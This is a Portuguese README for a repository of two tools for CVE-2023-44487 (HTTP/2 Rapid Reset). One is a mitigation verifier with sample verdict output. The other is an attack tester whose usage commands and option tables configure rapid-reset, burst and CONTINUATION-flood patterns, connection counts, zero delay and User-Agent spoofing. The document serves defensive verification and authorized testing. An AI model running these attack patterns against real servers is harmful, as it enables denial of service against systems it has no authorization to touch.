
Uma ferramenta de teste Python abrangente para CVE-2023-44487, a vulnerabilidade HTTP/2 Rapid Reset. Esta versão aprimorada fornece controle granular sobre parâmetros de teste, múltiplos padrões de ataque e capacidades avançadas de monitoramento.
Uma ferramenta de teste abrangente em Python para CVE-2023-44487, a vulnerabilidade de Reset Rápido HTTP/2. Este repositório contém ferramentas de teste de ataque e ferramentas focadas em verificação.
Esta ferramenta é APENAS para fins educacionais e testes autorizados!
CVE-2023-44487, também conhecida como "Reset Rápido HTTP/2", é uma vulnerabilidade crítica no protocolo HTTP/2 que permite que atacantes:
Pontuação CVSS: 7,5 (Alta)
Impacto: Negação de Serviço, Exaustão de Recursos
h2: pip install h2git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
pip install h2
chmod +x *.py
python3 --version # Deve ser 3.7+
cve_2023_44487_verifier_enhanced.pyPropósito: Detecção de sinal de aplicação de medidas para verificação pós-correção e verificação de conformidade
# Verificação básica
python3 cve_2023_44487_verifier_enhanced.py alvo.com
# Múltiplas conexões simultâneas
python3 cve_2023_44487_verifier_enhanced.py alvo.com -c 5 -s 500
# Saída detalhada com depuração
python3 cve_2023_44487_verifier_enhanced.py alvo.com -v -c 3 -s 1000
# Apenas teste de linha de base (requisições normais)
python3 cve_2023_44487_verifier_enhanced.py alvo.com --baseline-only
O script fornece um veredito inteligente com base em sinais de aplicação compatíveis com RFC 9113:
Servidor envia GOAWAY com código de erro ENHANCE_YOUR_CALM (0xb)
Classificação: NÃO VULNERÁVEL — aplicação na camada de protocolo está ativa
Significado: A implementação HTTP/2 possui controles adequados de limitação de taxa
50%+ das conexões terminadas via reset TCP
Classificação: PROVAVELMENTE PROTEGIDO — verifique com a equipe de borda/infraestrutura
Significado: Aparelho de borda ou proteção DDoS ativada na camada de transporte
Taxa de reset por segundo cai significativamente ao longo do tempo (baldes finais <60% dos iniciais)
Classificação: PROTEÇÃO PARCIAL — confirme com a equipe de infraestrutura
Significado: Servidor ou borda desacelerando o ataque adaptativamente
Servidor envia respostas REFUSED_STREAM (0x7)
Classificação: PROTEÇÃO PARCIAL — revise limites de taxa
Significado: Alguma limitação de taxa no nível de stream está em vigor
Nenhum GOAWAY ENHANCE_YOUR_CALM, nenhum reset TCP, nenhuma limitação detectada
Classificação: VETOR EXERCITÁVEL — explorabilidade não confirmada
Importante: Isso não prova explorabilidade de DoS. Proteções volumétricas/comportamentais
de borda (Akamai, CloudFlare) podem ser ativadas em escalas maiores
============================================================
ANÁLISE DE SINAL DE APLICAÇÃO
============================================================
Configurações do Servidor (frame inicial):
HEADER_TABLE_SIZE = 4096
ENABLE_PUSH = True
MAX_CONCURRENT_STREAMS = 128
INITIAL_WINDOW_SIZE = 65535
MAX_FRAME_SIZE = 16384
→ MAX_CONCURRENT_STREAMS=128 é conservador (boa configuração pós-CVE)
Distribuição de GOAWAY entre conexões:
ENHANCE_YOUR_CALM (0xb): 3/5
Outros códigos GOAWAY: 1/5
Nenhum GOAWAY recebido: 1/5
Reset TCP (RST no transporte): 0/5
Total de frames RST_STREAM do servidor: 2
Frames REFUSED_STREAM do servidor: 0
Conexões mostrando limitação adaptativa: 1/5
============================================================
VEREDITO
============================================================
✅ APLICAÇÃO CONFIRMADA
3/5 conexão(ões) receberam GOAWAY com ENHANCE_YOUR_CALM (0xb).
Este é o sinal canônico de que a mitigação da CVE-2023-44487 está ativa.
Classificação: NÃO VULNERÁVEL — aplicação na camada de protocolo está envolvida.
# Verificar implantação de correção com 10 conexões, 500 streams cada
python3 cve_2023_44487_verifier_enhanced.py prod-api.exemplo.com \
-c 10 \
-s 500 \
-d 0.0001 \
-v
# Testar porta HTTPS não padrão
python3 cve_2023_44487_verifier_enhanced.py exemplo.com \
-p 8443 \
-c 5 \
-s 1000
# Teste de conformidade com carga mínima
python3 cve_2023_44487_verifier_enhanced.py exemplo.com \
-c 3 \
-s 200 \
--baseline-only
ENHANCE_YOUR_CALM (Código de Erro 0xb):
REFUSED_STREAM (Código de Erro 0x7):
Análise de Taxa de Reset por Segundo:
RST TCP na Camada de Transporte:
import asyncio
import subprocess
def executar_verificacao(alvo: str, num_conexoes: int = 3):
cmd = [
'python3', 'cve_2023_44487_verifier_enhanced.py',
alvo,
'-c', str(num_conexoes),
'-s', '500',
'-v'
]
resultado = subprocess.run(cmd, capture_output=True, text=True)
# Analisar veredito da saída
if "APLICAÇÃO CONFIRMADA" in resultado.stdout:
print(f"✅ {alvo} está protegido")
return "protegido"
elif "PROVAVELMENTE PROTEGIDO" in resultado.stdout:
print(f"⚠️ {alvo} tem proteção no nível de borda")
return "protegido_borda"
else:
print(f"❌ {alvo} não mostra aplicação")
return "vulneravel"
# Executar teste
status = executar_verificacao("exemplo.com", 5)
#!/bin/bash
# Monitorar serviços críticos semanalmente
ALVOS="api.exemplo.com web.exemplo.com cdn.exemplo.com"
DIR_LOG="/var/log/cve-2023-44487"
mkdir -p "$DIR_LOG"
for alvo in $ALVOS; do
python3 cve_2023_44487_verifier_enhanced.py "$alvo" \
-c 3 \
-s 500 \
-v > "$DIR_LOG/$alvo-$(date +%Y%m%d).log" 2>&1
done
rapid_reset_test.pyPropósito: Teste abrangente de ataque de Reset Rápido HTTP/2 com múltiplos padrões
python3 rapid_reset_test.py https://servidor-alvo.com
python3 rapid_reset_test.py https://alvo.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://alvo.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0" \
--jitter 0.3
python3 rapid_reset_test.py https://alvo.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
| Opção | Descrição | Padrão |
|---|---|---|
--pattern TYPE | Padrão de ataque a ser usado | rapid_reset |
Padrões Disponíveis:
rapid_reset - Ataque de reset rápido padrãoburst_reset - Ataques baseados em rajadasgradual_reset - Taxa aumentando gradualmenterandom_reset - Temporização aleatóriacontinuation_flood - Inundação de frames CONTINUATIONmixed_pattern - Mistura de padrõesFormatos de Saída Disponíveis:
console - Saída legível para humanosjson - JSON legível por máquinacsv - CSV compatível com planilhasxml - Formato XML estruturadoA ferramenta avalia automaticamente a vulnerabilidade:
"No module named 'h2'"
pip install h2
Conexão recusada / tempo limite
curl -I --http2 https://alvo.comImportError com módulos h2
pip install --upgrade h2
python3 --version # Deve ser 3.7+
Permissão negada
chmod +x *.py
python3 cve_2023_44487_verifier_enhanced.py alvo.com
Ative o registro detalhado:
python3 cve_2023_44487_verifier_enhanced.py alvo.com -v
Teste com parâmetros mínimos:
python3 cve_2023_44487_verifier_enhanced.py alvo.com -s 10 -c 1
Verifique o suporte HTTP/2:
python3 -c "import h2; print('biblioteca h2 OK')"
Este repositório é destinado a profissionais de cibersegurança, pesquisadores e administradores de sistemas para testar seus próprios sistemas ou sistemas para os quais tenham permissão explícita para testar.
Pontos Legais Chave:
Lembre-se: Com grandes poderes vêm grandes responsabilidades. Use essas ferramentas de forma ética e legal.
Esta ferramenta é fornecida sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.
| Opção | Descrição | Padrão |
|---|
host | Nome do host alvo (obrigatório) | - |
-p, --port | Porta alvo | 443 |
--no-ssl | Desabilitar SSL/TLS | Falso (SSL habilitado) |
-s, --streams | Número de streams por conexão | 1000 |
-d, --delay | Atraso entre operações de stream (segundos) | 0,001 |
-c, --connections | Número de conexões simultâneas | 1 |
--baseline-only | Apenas realizar teste de linha de base (sem ataque) | Falso |
-v, --verbose | Saída detalhada/depuração | Falso |
| Causa do Fechamento | Significado |
|---|
goaway_enhance_your_calm | GOAWAY 0xb recebido (melhor indicador de correção da CVE) |
goaway_* | GOAWAY com outro código de erro |
tcp_reset | RST TCP recebido (intervenção no nível de borda) |
broken_pipe / recv_error | Erro de conexão durante a comunicação |
eof_no_goaway | EOF inesperado sem GOAWAY |
no_close_no_enforcement | Conexão permaneceu aberta (nenhuma aplicação detectada) |
| Opção | Descrição | Padrão |
|---|
-c, --connections N | Número de conexões simultâneas | 1 |
--connection-timeout SEC | Tempo limite de conexão em segundos | 10 |
--read-timeout SEC | Tempo limite de leitura para respostas | 5 |
--connection-delay SEC | Atraso entre conexões | 0,0 |
| Opção | Descrição | Padrão |
|---|
-r, --requests N | Requisições por conexão | 100 |
--delay SEC | Atraso entre HEADERS e RST_STREAM | 0,001 |
--request-delay SEC | Atraso entre requisições | 0,0 |
--jitter FACTOR | Fator de aleatoriedade de temporização | 0,0 |
--burst-size N | Requisições por rajada | 10 |
--burst-delay SEC | Atraso entre rajadas | 0,1 |
| Opção | Descrição | Padrão |
|---|
--window-size BYTES | Tamanho inicial da janela HTTP/2 | 65535 |
--frame-size BYTES | Tamanho máximo do frame | 16384 |
--header-table-size BYTES | Tamanho da tabela de cabeçalhos HPACK | 4096 |
--enable-push | Habilitar push do servidor HTTP/2 | Falso |
--rst-error-code CODE | Código de erro RST_STREAM | 8 |
| Opção | Descrição | Padrão |
|---|
--output FORMAT | Formato de saída | console |
--output-file FILE | Nome do arquivo de saída | gerado automaticamente |
--verbose, -v | Saída detalhada | Falso |
--debug | Registro de depuração | Falso |
--log-file FILE | Arquivo de log | Nenhum |
| Caso de Uso | Ferramenta | Razão |
|---|
| Verificação pós-correção | cve_2023_44487_verifier_enhanced.py | Detecta sinais de aplicação |
| Verificação de conformidade | cve_2023_44487_verifier_enhanced.py | Valida mitigação da CVE |
| Avaliação de infraestrutura | cve_2023_44487_verifier_enhanced.py | Vereditos claros e acionáveis |
| Pesquisa de ataque | rapid_reset_test.py | Múltiplos padrões de ataque |
| Teste de desempenho | rapid_reset_test.py | Métricas abrangentes |
| Padrões personalizados | rapid_reset_test.py | Configuração granular |